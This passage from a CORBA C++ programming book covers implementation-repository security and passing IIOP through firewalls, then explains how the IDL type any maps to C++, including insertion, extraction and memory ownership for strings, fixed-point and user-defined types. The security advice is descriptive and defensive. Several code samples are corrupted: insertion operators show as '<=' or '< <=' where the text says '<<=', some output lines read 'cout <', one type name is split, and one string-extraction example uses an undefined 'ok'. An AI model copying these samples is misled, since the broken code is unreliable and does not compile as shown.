requests, and the other port provides the administrative interface. You can add a rule to 
your firewall that prevents access to the administrative port from the untrusted part of the 
network but still allows clients from untrusted domains to send binding requests to your 
servers. 
 
Some ORBs refuse server registrations from clients not running on the same machine as 
the repository. The assumption is that only someone with a login on the local machine is 
authorized to manipulate server registrations. Unfortunately, this method is not foolproof. 
In the absence of a proper trusted authentication layer, the repository uses a reverse IP 
address lookup to determine the location of the client, but a determined intruder can 
spoof IP packets to disguise their true origin. 
 
Some ORBs ignore the entire issue and accept binding requests on the same port as 
administrative requests. If this is the case for your ORB, you must not permit access to 
the repository port from untrusted parts of the network; otherwise, anyone can run an 
arbitrary command, at least on the machine running the repository, with the same access 
privileges as the repository process. Naturally, giving outsiders access to your machine in 
this way spells big trouble. 
 
In a well-maintained installation, the security issues are no big problem. A few simple 
configuration steps (running the repository as a user with low privilege and adding a rule 
to your firewall) are typically sufficient to secure the repository. However, if security is 
important in your environment, you must make sure that you understand how your 
repository works and what steps are necessary to secure it. In the absence of strong 
encryption via the Security Service, your best defense against attacks is a well-configured 
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firewall. Make sure that you do not forget to add the appropriate rules to lock down your 
ORB environment. 

14.8.3 IIOP Through Firewalls 

If you have clients that need to access servers through a firewall, you need to configure 
the firewall to permit IIOP traffic from the outside. This can be difficult, particularly if 
servers are started on demand and change port numbers every time they are started. 
 
The easiest way around this problem is to start servers at a fixed port number and to 
configure your firewall accordingly (many repositories allow you to set a port number for 
each server). 
 
Some vendors also offer various tunneling solutions. For example, it is possible to install 
a dedicated server that tunnels IIOP requests via HTTP through a firewall. The server 
acts as a bridge and forwards tunneled requests via IIOP to the actual servers, which are 
invisible behind the firewall. The problem with tunneling is that it obscures what is going 
on (by hiding IIOP requests inside HTTP packets). This means that your IIOP security 
policy can only be as good as your HTTP security policy. 
 
Another approach offered by some vendors is to run a proxy server at a fixed address and 
port number. The proxy server acts as a firewall by offering a proxy object to the outside 
world for each protected object. The proxy server is typically implemented using the DII 
and DSI and acts as a simple delegation front end; the proxy server decides whether it 
should delegate a request from the outside world to a protected object by consulting a 
rule database. The proxy server approach offers greater flexibility and security than 
HTTP tunneling, but it has the drawback that scalability can become a problem; all 
requests to CORBA objects inside the protected domain are squeezed through the proxy 
server. 
 
Currently, all IIOP tunneling and proxy solutions are proprietary, so they cannot be used 
with servers from different ORB vendors. Also, before you commit to a solution, you 
should ensure that you have confidence in the implementation. In effect, the tunneling or 
proxy server takes on the role of a firewall for IIOP requests. Bugs in the implementation 
of the server may well cause security breaches. 
 
The OMG is in the process of standardizing access to CORBA objects through firewalls 
(see [19]). At the time of writing, the specification is not finalized, so we do not cover it 
in this book. 

14.9 Summary 

The implementation repository enables an ORB to provide persistent references without 
requiring servers to remain at fixed addresses for the lifetime of a system. In addition, an 
implementation repository can start servers on demand as clients send requests, so the 
servers for a system need not run continuously. Because CORBA does not standardize 
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the implementation repository, vendors have considerable flexibility in repository design. 
Design choices have profound influence on flexibility, performance, and scalability of an 
ORB, so it is important to be aware of the capabilities of your particular implementation. 
Implementation repositories raise security concerns because they can potentially be 
misused by an intruder to gain unauthorized access to a system. To secure your system 
correctly, you must be fully aware of how your repository addresses such concerns. 
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Part VI: Dynamic CORBA 
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Chapter 15 C++ Mapping for Type any 

15.1 Chapter Overview 

This chapter covers the C++ mapping for the IDL type any. Section 15.2 presents the 
basic ideas behind this universal container type, and Section 15.3 shows how any 
maps to C++ for the different IDL data types. 
 
To store its data, type any relies on a run-time description known as a type code. Type 
codes are covered in detail in Chapter 16. In addition, CORBA offers an interface that 
allows dynamic composition and decomposition of any values at run time without 
requiring compile-time knowledge of the IDL. This interface, called DynAny, is covered 
in Chapter 17. 

15.2 Introduction 

The IDL type any provides a universal type that can hold a value of arbitrary IDL type. 
Type any therefore allows you to send and receive values whose types are not fixed at 
compile time. This capability is useful in a variety of situations. For example, the 
CORBA Event Service (see Chapter 20) must be able to transport values whose IDL 
types are unknown to the service. Type any offers a solution to this problem. Events are 
simply values of type any, and the Event Service acts as a transport for these values 
without requiring compile-time knowledge of the actual types contained in them. 
 
Type any is often compared to a void * in C. Like a pointer to void, an any value 
can denote a datum of any type. However, there is an important difference: whereas a 
void * denotes a completely untyped value that can be interpreted only with advance 
knowledge of its type, values of type any maintain type safety. For example, if the 
sender places a string value into an any, the receiver cannot extract the string as a value 
of the wrong type. Attempts to treat the contents of an any as the wrong type cause a 
run-time error. 
 
Internally, a value of type any consists of a pair of values, as shown in Figure 15.1. 
One member of the pair is the actual value contained inside the any, and the other 
member of the pair is the type code. The type code (of type CORBA::TypeCode) is a 
description of the value's type. The type description is used to enforce type safety when 
the receiver of an any extracts the value. Extraction of the value succeeds only if the 
receiver extracts the value as a type that matches the information in the type code. In 
addition, the type code inside an any provides the ORB run time at the receiving end 
with the information required to correctly unmarshal the value off the wire. 
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Figure 15.1 Structure of a value of type any. 

 
Type codes not only serve to enforce type safety of any values but also provide an 
introspection capability. The receiver of an any value can access the type code to find 
out what type of value is contained in the any. This capability is useful because it makes 
any values stand-alone data items: the receiver of an any can always interpret the value 
inside the any without requiring additional contextual information. We discuss the 
details of type codes in Chapter 16. 
 
Values of type any are useful whenever you want to provide IDL interfaces that are 
generic. For example, the following interface provides a generic facility to store values of 
arbitrary type: 
      
interface ValueStore { 
    void    put(in string value_name, in any value); 
    any     get(in string value_name); 
}; 
 
     
This interface maintains a map of name—value pairs. The put operation adds a value to 
the map, and the get operation returns the named value. If the caller passes a string that 
does not map to a value, get returns a special any value that contains no value (with a 
type code that indicates that no value is present). Under normal circumstances, you would 
not create an interface in this way. Instead, you would define operations that are specific 
to each IDL type. However, if you need a generic way to store and retrieve values of IDL 
types that cannot be known at compile time, type any provides the means to do so. 
 
Another frequent use of type any is to simulate variable-length parameter lists for IDL 
operations. IDL does not have the concept of variable-length parameter lists, but you can 
use type any to achieve the same effect: 
      
struct NamedValue { 
    string  name; 
    any     value; 
}; 
typedef sequence<NamedValue> ParamList; 
 
interface foo { 
    void op(in ParamList pl); 
}; 
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With this approach, the operation op can accept any number of parameters of arbitrary 
type (including none). This technique is very similar to using the C++ stdarg facility 
but has an added advantage: because extraction from an any value is type-safe, the 
implementation of op cannot accidentally misinterpret a parameter as the wrong type. If 
the caller sends a parameter that op does not understand, op can raise an exception at run 
time. This is considerably safer than using C++ stdarg parameters, which require you 
to pass a parameter that describes how the remaining parameters must be interpreted. For 
example, if you pass a format string to printf that does not match the actual 
parameters in type and number, printf has no way to protect itself against the 
mismatch, and its behavior at run time is undefined. 
 
Before we discuss the details of the mapping for type any, a few words of caution are in 
order: by deciding to use any instead of statically typed interfaces, you are making a 
trade-off. Specifically, you are trading static compile-time type safety for dynamic run-
time type safety. This means that type mismatches are no longer detected at compile time. 
Instead, you are relying on the thoroughness of your own error-checking code at run time 
to catch type mismatches. In addition, generic types, such as any or variable-length 
parameter lists, are harder to use than statically typed interfaces. You must do a lot of 
work at run time that requires writing explicit code. For static interfaces, that work is 
done for you by the code generated by the IDL compiler. This means that you should 
carefully consider whether you really need to use generic interfaces. 
 
Often, there is a temptation to use type any when another solution would be more 
appropriate. For example, consider an interface in which we have semantically identical 
operations that accept parameters of different types: 
      
interface ValueStore { 
    void    put_long(in long l); 
    void    put_string(in string s); 
    void    put_MyStruct(in MyStruct s); 
    // etc... 
}; 
 
     
Here, we have a number of operations that accept values of different types. Because IDL 
does not permit overloading of operations, we end up with operation names such as 
put_long and put_string. You may be tempted to write the interface this way 
instead: 
      
interface ValueStore { 
    void    put_value(in any a); 
}; 
 
     
This solves the problem by using a parameter of type any. This second version may well 
be the appropriate one, but it also may be too generic. If ValueStore needs to deal 
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only with a fixed set of types that is known in advance and does not change over time, the 
following may be a better alternative: 
      
enum ValueKind { LONG_VAL, STRING_VAL, MYSTRUCT_VAL /* etc. */ }; 
 
union Value switch (ValueKind) { 
case LONG_VAL: 
    long        long_member; 
case STRING_VAL: 
    string      string_member; 
case MYSTRUCT_VAL: 
    MyStruct    MyStruct_member; 
// etc... 
}; 
 
interface ValueStore { 
    void    put(in Value v); 
}; 
 
     
At first glance, this approach does not look very attractive. Instead of using a simple 
three-line interface, you must add a fairly complex union definition. However, the union 
version has the advantage that the put operation accepts only a value that has one of the 
expected types because we have defined the union so that it must contain a value of 
known type. This approach is slightly more type-safe than the approach using type any 
because an any can contain absolutely any IDL type and not just those expected by put. 
 
As always, finding the best approach requires knowledge of the application and the ways 
clients will likely want to use the IDL. You must use your own judgment to find an 
appropriate compromise between type safety and generality. 

15.3 Type any C++ Mapping 

The IDL type any maps to the C++ class Any[1] in the CORBA namespace. The class 
contains a large number of member functions, so we show only an outline of it for now 
and present the various member functions in detail as we discuss insertion and extraction 
of the various types. 

[1] Note that the IDL name is any, whereas the C++ name is Any. For the remainder of this 
book, we use any to mean the IDL type and use Any to mean the C++ type. 

      
class Any { 
public: 
    // Constructors, destructor, and assignment 
            Any(); 
            Any(const Any &); 
            Any( 
                TypeCode_ptr    tc, 
                void *          value, 
                Boolean         release = FALSE 
            ); 
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            ~Any() 
    Any &  operator=(const Any &); 
 
    // Insertion operators for boolean, char, 
    // wide char, octet, bounded strings, and fixed. 
    void    operator<=(from_boolean); 
    void    operator<=(from_char); 
    void    operator<=(from_octet); 
    // etc... 
 
    // Extraction operators for boolean, char, 
    // wide char, octet, bounded strings, and fixed. 
    Boolean operator>>=(to_boolean) const; 
    Boolean operator>>=(to_char) const; 
    Boolean operator>>=(to_octet) const; 
    // etc... 
 
    // Widening extraction for object references 
    Boolean operator>>=(to_object) const; 
    // TypeCode accessor and modifier 
 
    TypeCode_ptr    type() const; 
    void            type(TypeCode_ptr); 
 
    // Low-level manipulation 
    const void *    value() const; 
    void            replace( 
                        TypeCode_ptr    tc, 
                        void *          value, 
                        Boolean         release = FALSE 
                    ); 
}; 
 
// Insertion operators for simple types 
void operator< <=(CORBA::Any &, Short); 
void operator< <=(CORBA::Any &, UShort); 
void operator< <=(CORBA::Any &, Long); 
// etc... 
 
// Extraction operators for simple types 
Boolean operator>>=(const CORBA::Any &, Short &) const; 
Boolean operator>>=(const CORBA::Any &, UShort &) const; 
Boolean operator>>=(const CORBA::Any &, Long &) const; 
// etc... 
 
     

15.3.1 Construction, Destruction, and Assignment 

Values of type Any have a default constructor. A default-constructed Any contains no 
value and contains a tk_null type code to indicate "no value". Obviously, you cannot 
extract a value from a default-constructed Any. However, it is safe to send an Any not 
containing a value across an IDL interface. By looking at the Any's type code (see 
Chapter 16), the receiver of the Any can test whether or not it actually contains a value. 
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As usual, the copy constructor and assignment operator make deep copies, and the 
destructor releases all memory that may currently be held by the value. 
 
Note that there is also a special constructor that accepts a type code, a void pointer, and 
a release flag. We strongly recommend that you do not use this constructor at all; it is 
fraught with danger because it bypasses all type checking. The same comments apply to 
the value and replace member functions, which are completely type-unsafe. The 
reason for this lack of type safety is that the C++ mapping specification makes no 
statement as to the binary representation of values inside an Any. It follows that you 
cannot interpret the memory pointed to by the void * because you have no idea of the 
binary layout of the data. 
 
The low-level constructor and member functions of type Any are part of the C++ 
mapping only for ORBs that implement binary-compatible C and C++ mappings. In fact, 
portable use of these functions is impossible, so it is best to ignore them. We do not 
discuss them further in this book. (A last-minute update to the C++ mapping for CORBA 
2.3 deprecated all member functions involving void *, so future ORB versions will not 
support them.) 
 
The overloaded type member functions provide an accessor and a modifier for the type 
code contained in an Any. We delay discussion of the type member functions until 
Chapter 16, which discusses type codes. 

15.3.2 Basic Types 

The C++ mapping provides overloaded operators to insert (<<=) and to extract (>>=) 
basic types. 

Basic Type Insertion 

To insert a basic IDL type into an Any, you use the overloaded <= insertion operator.[2]  

[2] Developers often ask why < <= was chosen for insertion instead of < <. The answer is that 
<<= is more appropriate because it has the same low precedence as an ordinary assignment 
operator, whereas the precedence of << is too high for convenient use. Also, << suggests 
stream insertion, whereas <= suggests assignment. 

        
CORBA::Any a;                 // a contains no value 
a <<= (CORBA::UShort)99;    // Inserts 99 as an unsigned short 
a <<= "Hello";              // Inserts deep copy of "Hello" 
a <<= (CORBA::Double)3.14;  // Deallocates "Hello", inserts 3.14 
 
       
Immediately after construction, a contains no value. The first insertion statement places 
the value 99 into a. The second insertion statement overwrites the value 99 with the 
string "Hello", making a deep copy. The third insertion statement deallocates the string 
"Hello" again and replaces it with the Double value 3.14. 
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Inserting a value into an Any does two things: it stores a copy of the value in the Any, 
and it sets the type code inside the Any to that of the inserted value. This means that the 
casts in the preceding code are necessary. For example, the following insertion is, strictly 
speaking, non-portable: 
        
a <<= 99;   // Dubious!!! 
 
       
This insertion does not specify the type of the value to be inserted. Instead, it depends on 
the C++ type of the literal 99. By definition, the literal 99 has the C++ type int. 
However, the size of int is implementation-defined. Depending on the architecture, a 
C++ int may be 16, 32, or 64 bits in size, and this means that the actual value that will 
be inserted could be of IDL type short, long, or long long. Similar arguments 
apply to insertion of floating-point constants. To be safe when inserting numeric literals, 
you should either use a cast or assign the literal to a variable of the correct type first and 
then insert the variable: 
        
CORBA::UShort val = 99; 
a <<= val;                  // OK, inserts 99 as an unsigned short 
a <<= (CORBA::UShort)99;    // OK too 
a <<= static_cast<CORBA::UShort>(99);   // OK, ANSI C++ version 
 
       
Another point to keep in mind is that insertion of a string into an Any makes a deep copy 
(unless you explicitly request a consuming insertion—see Section 15.3.5). This 
means that the following two insertions are equivalent (both insert a copy of the string): 
        
a <<= (const char *) "Hello";    // Deep copy 
a <<= (char *) "Hello";          // Deep copy as well 
 
       
Note that this differs from assignment of a string literal to a String_var, in which a 
deep copy is made if the right-hand side is a const char *, and a shallow copy is 
made otherwise. The following code leaks memory and must not be used: 
        
a <<= CORBA::string_dup("Hello");   // Memory leak! 
 
       
This is wrong because the insertion operator already makes a copy, so the copy created 
by the call to string_dup is never deallocated. 
Whenever you insert a new value into an Any that already stores a value, the insertion 
correctly deallocates the previous value. For example: 
        
a <<= "Hello";          // Insert copy of "Hello" 
a <<= "World";          // Deallocates "Hello", copies "World" 
a <<= (CORBA::Long)5;   // Deallocates "World" 
 
       
The C++ mapping provides overloaded <= insertion operators for the following IDL 
types: short, unsigned short, long, unsigned long, float, double, 
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unbounded string and wstring, and any (yes, you can insert an Any into another 
Any). If your ORB supports the newly added IDL types long long, unsigned 
long long, and long double, insertion operators for these types are also provided. 
Other types, such as char, wchar, bounded strings and wide strings, fixed, and 
certain user-defined types, use other methods for insertion. We cover them in the 
remainder of this chapter. 

Basic Type Extraction 

To extract basic types, the C++ mapping provides overloaded >>= operators. As you saw 
in the class introduction on page 667, the extraction operators expect a reference to a 
value as the right-hand argument and return a Boolean. When you apply an extraction 
operator to a value of type Any, the extraction operator checks whether the type code 
inside the Any matches the type of its right-hand operand. If it matches, the operator 
extracts the value and returns true. If the value inside the Any does not match the right-
hand operand type, the extraction fails and the operator returns false. 
 
The following code fragment tests that extraction succeeds as it should and uses the 
assert macro to ensure that the extracted value matches the value that was originally 
inserted: 
        
CORBA::Any a; 
a <<= (CORBA::Long)99;  // Insert 99 as a long. 
 
CORBA::Long val; 
if (!(a >>= val))         // operator>>=() must return true. (We 
    abort();              // know that the Any contains a Long.) 
 
assert(val == 99);        // Assertion must pass. (We know 
                          // that the value must be 99.) 
 
       
If you try to extract a value that does not match the type code in the Any, the extraction 
operator returns false: 
        
CORBA::Any a; 
a <<= (CORBA::Short)5; 
 
CORBA::Long val; 
if (a >>= val)          // Extraction operator must return false 
    abort();            // because the Any contains a Short. 
 
       
The code tests that the extraction operator does indeed return false as expected. Note that 
extraction from an Any requires a precise match of type. As illustrated by this example, 
there is no concept of value promotion. For example, you cannot extract a Short value 
into a Long variable even though the value would fit. 

15.3.3 Types Not Distinguishable for Overloading 
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The C++ mapping permits different IDL types to be mapped onto the same C++ type. 
Specifically, IDL char, boolean, and octet can all map to the same C++ character 
type. In addition, IDL wchar can map either to C++ wchar_t or to one of the C++ 
integer types. This means that the mapping cannot overload the <= operator for these 
types because, at the C++ level, they may be the same single type. 

Insertion and Extraction of boolean, octet, and char 

In cases when more than one IDL type can map to the same C++ type, you insert a value 
into an Any using a helper type. The purpose of the helper type is to correctly set the type 
code. Here is an example: 
        
CORBA::Any a; 
CORBA::Boolean  b = 0; 
CORBA::Char     c = 'x'; 
CORBA::Octet    o = 0xff; 
 
a <<= CORBA::Any::from_boolean(b); 
a <<= CORBA::Any::from_char(c); 
a <<= CORBA::Any::from_octet(o); 
 
a <<= b;      // Wrong, compile-time error! 
a <<= c;      // Wrong, compile-time error! 
a <<= o;      // Wrong, compile-time error! 
 
       
As you can see from this example, you must use the CORBA::Any::from_type 
helpers to insert these values. The example also shows that if you forget to use the helper 
types, you will get a compile-time error. You must be careful, though, to use the correct 
helper type: 
        
CORBA::Any a; 
CORBA::Char c = 'x'; 
a <<= CORBA::Any::from_boolean(c);  // Oops, wrong helper! 
 
       
This code compiles and runs on many ORBs, but it is wrong because it inserts the value 
of the character 'x' into the Any while setting the type code to indicate a Boolean. 
To extract one of these values again, you must use the corresponding to_type helper: 
        
CORBA::Any      a; 
 
CORBA::Boolean  b; 
CORBA::Char     c; 
CORBA::Octet    o; 
 
if (a >>= CORBA::Any::to_boolean(b)) { 
    // It contained a boolean, use b... 
} else if (a >>= CORBA::Any::to_char(c)) { 
    // It contained a char, use c... 
} else if (a >>= CORBA::Any::to_octet(o)) { 
    // It contained an octet , use o... 
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} else { 
    // There is something else in the Any 
} 
 
a >>= b;    // Compile-time error! 
a >>= c;    // Compile-time error! 
a >>= o;    // Compile-time error! 
 
       
This code example shows that you can use the return value of the extraction operator to 
test whether extraction succeeded. It also illustrates that if you forget to use a helper type 
and try to extract directly, you will get a compile-time error. 
 
As with insertion, you must be careful to use the correct helper: 
        
CORBA::Any a = ...; 
CORBA::Char c; 
a >>= CORBA::Any::to_boolean(c);    // Oops, wrong helper! 
 
       
This code may compile on your ORB but has undefined behavior because the wrong 
helper is used here. 

Insertion and Extraction of Wide Characters 

To insert a wide character into an Any, you also must use a helper type: 
        
CORBA::Any a; 
CORBA::WChar wc = L'x'; 
a <<= CORBA::Any::from_wchar(wc); 
 
       
You must use the from_wchar helper type to correctly insert wide characters. 
Depending on the environment, the following code may or may not compile, but, if it 
does compile, it has undefined behavior: 
        
CORBA::Any a; 
CORBA::WChar wc = L'x'; 
a <<= wc;                   // Undefined behavior 
 
       
In a non-standard C++ environment, in which wchar_t is an alias for an integer type, 
this code will compile but will incorrectly set the type code to indicate an integer type. In 
a standard C++ environment, the insertion may do the right thing, or it may incorrectly 
set the type code to an integer type or cause a compilation error. (Unfortunately, the C++ 
mapping cannot guarantee a compile-time error for this mistake because of the need to 
support non-standard compilers.) 
 
Extraction is similar to insertion: 
        
CORBA::Any a = ...; 
CORBA::WChar wc; 
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if (a >>= CORBA::Any::to_wchar(wc)) { 
    // OK, we have a wide character 
} 
 
       
As with insertion, you must use the to_wchar helper type. Otherwise, the behavior is 
undefined. 

15.3.4 Insertion and Extraction of Unbounded Strings 

You have seen that unbounded strings are inserted using the normal insertion operator: 
       
CORBA::Any a; 
a <<= "Hello World";    // Fine, deep copy 
 
      
The <<= operator is overloaded for const char * and always makes a deep copy. If 
you insert a string in this way, the type code inside the Any is set to indicate an 
unbounded string. 
 
Extraction of strings uses the overloaded >>= operator: 
       
CORBA::Any a; 
a <<= "Hello World";    // Insert string 
const char * msg; 
 
assert(ok); 
cout << "Message was: " << msg << endl; 
 
      
In this example we are testing the return value of the extraction with an assertion because 
we know that it must succeed. The overloaded >>= operator succeeds only if the Any 
contains an unbounded string. 
 
The main question for string extraction is this: who owns the memory for the string after 
the extraction? The answer is that the Any retains ownership of the string, so the returned 
pointer points at memory internal to the Any. This means that you must not deallocate 
the extracted string, and you must treat the extracted string as read-only. The following 
code contains two mistakes: 
       
CORBA::Any a; 
a <<= "Hello"; 
 
char * msg; 
a >>= msg;                  // OK, extract string 
msg[0] = 'h';               // Bad news, string is read-only 
CORBA::string_free(msg);    // Looming disaster! 
 
      
This code modifies the string via the returned pointer, and that is not portable.[3] In 
addition, the call to string_free is certain to cause problems because the Any still 
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owns the string and will deallocate it a second time when it goes out of scope, possibly 
causing a core dump. 

[3] The C++ mapping requires you to treat the returned string as read-only to avoid restricting 
ORB implementations unnecessarily. 

If you want to modify an extracted string, you must make a copy and modify the copy. 
Fortunately, a String_var will automatically make a deep copy for you: 
       
CORBA::Any a; 
a <<= "Hello"; 
 
const char * msg;               // Note const char *,  not char * 
a >>= msg;                      // OK, extract string 
msg[0] = 'h';                   // Error, msg is const 
CORBA::String_var copy(msg);    // Make deep copy 
copy[0] = 'h';                  // Fine, modify copy 
 
      
This code illustrates how to safely extract and modify strings. Note that msg is a pointer 
to constant data. This makes it impossible to modify the contents of the string via the 
pointer by mistake. You should always extract strings by constant pointer—it protects 
you from your own mistakes. 
 
To get a modifiable copy of the string, we use the extracted pointer to initialize a 
String_var, which makes a deep copy. The subsequent assignment modifies the copy, 
and the String_var, when it goes out scope, eventually deallocates the copy again. 
 
Note that direct extraction into a String_var leads to disaster: 
       
CORBA::Any a; 
a <<= "Hello"; 
CORBA::String_var msg; 
a >>= msg;                      // Extremely bad news! 
 
      
This causes problems with double deallocation because both the Any and the 
String_var will deallocate the same string. 

15.3.5 Insertion and Extraction of Bounded Strings 

To insert and extract bounded strings, again you must use helper types. The reason is that 
both bounded and unbounded strings map to char *, so operator overloading cannot be 
used to distinguish between them. 

Insertion of Bounded Strings 

Extraction of bounded strings uses the from_string helper type: 
        
class Any { 
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public: 
    // ... 
    struct from_string { 
        from_string(char * s, ULong b, Boolean nocopy = 0); 
        // ... 
    }; 
    // ... 
    void operator<=(from_string); 
    // ... 
}; 
 
       
To insert a bounded string into an Any, you must supply the string together with its 
bound: 
        
CORBA::Any a; 
a <= CORBA::Any::from_string("Hello", 20); 
 
       
This code inserts the string "Hello" into the Any with a bound of 20. Note that the 
bound need not be the same as the length of the string. The bound indicates the maximum 
length of the string, whereas the actual length is the length of the passed string argument 
(the length of "Hello" is 5). If you pass a string that is longer than the bound, the 
behavior is undefined: 
        
CORBA::Any a; 
a <<= CORBA::Any::from_string("Hello", 3);  // Undefined! 
 
       
As usual, the bound does not include the terminating NUL byte, so a bound value of 5 is 
OK for the string "Hello". 
A bound value of zero indicates that the string is unbounded. The following two 
statements are equivalent: 
        
CORBA::Any a; 
a <<= "Hello";                              // Deep copy 
a <<= CORBA::Any::from_string("Hello", 0);  // Exactly the same 
 
       
Both statements insert "Hello" as an unbounded string. 
By default, from_string makes a deep copy of its argument. You can also instruct the 
Any not to make a copy and instead to take ownership: 
        
CORBA::Any a; 
char * msg = CORBA::string_dup("Hello"); 
a <<= CORBA::Any::from_string(msg, 5, 1);   // Consumes msg 
 
       
By setting the third parameter of from_string to a non-zero value, you can suppress 
the copying insertion. Instead, the Any simply stores the passed pointer and takes 
ownership. When the Any goes out of scope, it calls string_free to deallocate the 
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string again. This behavior is useful if you want to directly insert the return value from an 
IDL operation into an Any: 
        
Foo_var fv = ...;   // Get object reference 
CORBA::Any a; 
a <<= CORBA::Any::from_string(fv->get_string(), 0, 1); 
 
       
Here, the get_string call returns a string that is directly inserted into an Any. The 
second argument to from_string is zero, and that means the string is inserted as an 
unbounded string. The third argument is 1, and that instructs the Any to take 
responsibility for deallocation. 

Extraction of Bounded Strings 

Extraction of bounded strings uses the to_string helper type: 
        
CORBA::Any a; 
a <<= CORBA::Any::from_string("Hello", 10); 
char * msg; 
a >>= CORBA::Any::to_string(msg, 10); 
cout << "Got message: " << msg << endl; 
 
       
As with unbounded strings, the Any retains ownership of the extracted string, and you 
must neither modify nor deallocate the string. Extraction of strings is always by pointer—
there is no copying version of string extraction. 
 
The bound during extraction must match the bound stored in the Any's type code. You 
can neither extract a bounded string with a different bound nor pretend that it is an 
unbounded string: 
        
CORBA::Any a; 
a <<= CORBA::Any::from_string("Hello", 10); 
 
char * msg; 
a >>= CORBA::Any::to_string(msg, 99);   // Returns 0, wrong bound 
a >>= CORBA::Any::to_string(msg, 0);    // Returns 0, wrong bound 
 
       

15.3.6 Insertion and Extraction of Wide Strings 

Insertion and extraction of wide strings is analogous to insertion and extraction of normal 
strings. For unbounded wide strings, you insert and extract using the overloaded <<= and 
>>= operators: 
       
CORBA::Any a; 
a <<= L"Hello World";   // Insert wide string 
const CORBA::WChar * msg; 
a >>= msg; 
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cout < "Message was: " < msg < endl; 
 
      
The memory management rules are the same as for normal strings: insertion always 
makes a deep copy, and extraction returns a pointer that points at read-only memory 
owned by the Any. 
 
To insert and extract bounded wide strings, use the from_wstring and to_wstring 
helper types: 
       
CORBA::Any a; 
a <<= CORBA::Any::from_wstring(L"Hello", 10); 
CORBA::WChar * msg; 
a >>= CORBA::Any::to_wstring(msg, 10); 
cout << "Got message: " << msg << endl; 
 
      
As with normal strings, you can pass a non-zero third argument to the from_wstring 
constructor to instruct the Any to take ownership for insertion. 

15.3.7 Insertion and Extraction of Fixed-Point Types 

Fixed-point types are inserted and extracted using from_fixed and to_fixed helper 
types. Here is an example that inserts a Fixed value into an Any: 
       
CORBA::Fixed f = "199.87D"; 
CORBA::Any a1; 
a1 <<= CORBA::Any::from_fixed(f, 5, 2);  // Insert as fixed<5,2> 
CORBA::Any a2; 
a2 <= CORBA::Any::from_fixed(f, 10, 3); // Insert as fixed<10, 3> 
 
      
Note that you must specify the digits and scale of the value because the C++ type Fixed 
is a generic type whose digits and scale vary at run time. 
To extract the value again, you also need to specify digits and scale: 
       
CORBA::Any a = ...; 
CORBA::Fixed f; 
if (a >>= CORBA::Any::to_fixed(f, 5, 2)) { 
    // It's a fixed<5, 2> 
} else if (a >>= CORBA::Any::to_fixed(f, 10, 3)) { 
    // It's a fixed<10, 3> 
} else { 
    // It's some other type 
} 
 
      
The specification does not state for either insertion or extraction what should happen if 
the value does not fit into the specified digits or if it would lose precision due to the scale 
being too small, so you should avoid such cases. If you need to know what digits and 
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scale are used by a fixed-point value before extracting it from an Any, you can 
interrogate the Any's type code (see Chapter 16). 

15.3.8 User-Defined Types 

To insert and extract user-defined types, you must link against the code generated by the 
IDL compiler because it generates overloaded operators for the user-defined types in the 
IDL. For example, assume that the IDL contains this definition: 
       
struct BtData { 
    TempType    requested; 
    TempType    min_permitted; 
    TempType    max_permitted; 
    string      error_msg; 
}; 
 
      
Given this definition, the IDL compiler generates code into the stub file to overload the 
<<= and >>= operators for a structure of type BtData: 
       
void            operator<<=(CORBA::Any &, const BtDat a &); 
void            operator<<=(CORBA::Any &, BtData *); 
CORBA::Boolean  operator>>=(const CORBA::Any &, BtData * &); 
 
      
This allows you to insert and extract user-defined types much as you would with built-in 
types. However, you must link against the generated stub code so that the necessary 
overloaded operators will be available to your application code. 
 
For this chapter, we assume that you have linked the generated stubs, so the application 
code has compile-time knowledge of the IDL. Nevertheless, you can also insert and 
extract user-defined types even without compile-time knowledge of the IDL for an 
application. We discuss how to do this in Chapter 17, where we cover the DynAny 
interface. 

Insertion and Extraction of Simple User-Defined Types 

You insert and extract simple user-defined types, such as aliases for built-in types and 
enumerated types, using the overloaded operators: 
        
CORBA::Any a; 
 
Color c = blue;             // Assume enumerated IDL type Color 
a <<= c;                  // Insert enumerated value 
Color c2; 
CORBA::Boolean ok = (a >>= c2);        // Extract enumerated value 
assert(ok && c2 == blue);   // Test that we really got blue 
 
TempType t = 10;            // Assume IDL: typedef short TempType; 
a <<= t;                  // Insert temperature 
TempType t2; 
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ok = (a >>= t2);            // Extract temperature 
assert(ok && t2 == 10);     // Test that we really got 10 
 
       
For simple types, such as enumerated types and aliases for simple built-in types, insertion 
and extraction is always by value, so no memory management issues arise. If the IDL 
uses an alias for string, such as ModelType, the normal rules for string insertion and 
extraction apply. 
 
Insertion of values of a type that is aliased may not preserve the alias information in the 
Any's type code. For example, after a value of type TempType is inserted into an Any, 
the Any's type code will be set to indicate a short value and not a value of type 
TempType. We discuss this issue in detail in Section 15.4. 

Insertion and Extraction of Structures, Unions, and Sequences 

Insertion and extraction of structures, unions, and sequences also uses overloaded <<= 
and >= operators. The insertion operator is overloaded twice: once for insertion by 
reference and once for insertion by pointer. If you insert a value by reference, the 
insertion makes a deep copy. If you insert a value by pointer, the Any assumes ownership 
of the pointed-to memory. Here is an example that inserts a structure of type BtData 
using both copying and consuming insertion: 
        
CORBA::Any a; 
BtData btd;                     // Structure variable 
a <= btd;                    // Copying insertion 
BtData * btd_p = new BtData;    // Pointer to structure 
a <= btd_p;                  // Consuming insertion 
// The Any a now has ownership; do NOT delete btd_p here! 
 
       
As with strings, consuming insertion by pointer is useful if you want to directly insert a 
variable-length return value from an operation into an Any. 
 
Extraction of structures, unions, and sequences is always by pointer. As with strings, you 
must treat the extracted pointer as read-only and must not deallocate it because the 
pointer points at memory internal to the Any: 
        
CORBA::Any a; 
 
BtData btd;           // Structure variable 
a <<= btd;          // Copying insertion 
 
BtData * btd_p; 
a >>= btd_p;        // Extract by pointer (>>= returns true) 
 
// btd_p points at read-only memory still owned by the Any. 
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Never extract a user-defined value from an Any into a _var type. Doing so will cause 
disaster: 
        
CORBA::Any a; 
// Initialize a... 
 
BtData_var btd_v; 
a >>= btd_v;            // Looming disaster! 
 
       
This code will eventually lead to a crash, because both the Any and the _var variable 
retain ownership, resulting in double deallocation of the same memory. 
 
To maintain the read-only restriction of the extracted value, you can use the copy 
constructor to make a copy of the value. Then you can modify the copy: 
        
CORBA::Any a; 
// Initialize a... 
 
BtData * btd_p; 
a >>= btd_p;            // Extract read-only pointer 
BtData copy(*btd_p);    // Copy-construct a temporary copy 
// Modify copy here... 
 
       
Never pass a pointer extracted from an Any as an inout parameter. If you do, the caller 
may deallocate the value and create chaos, because the Any will deallocate the same 
memory a second time. Instead, make a deep copy of the extracted value on the heap, and 
pass it as the inout parameter in a _var variable. In that way, the appropriate memory 
management activities are taken care of automatically. 

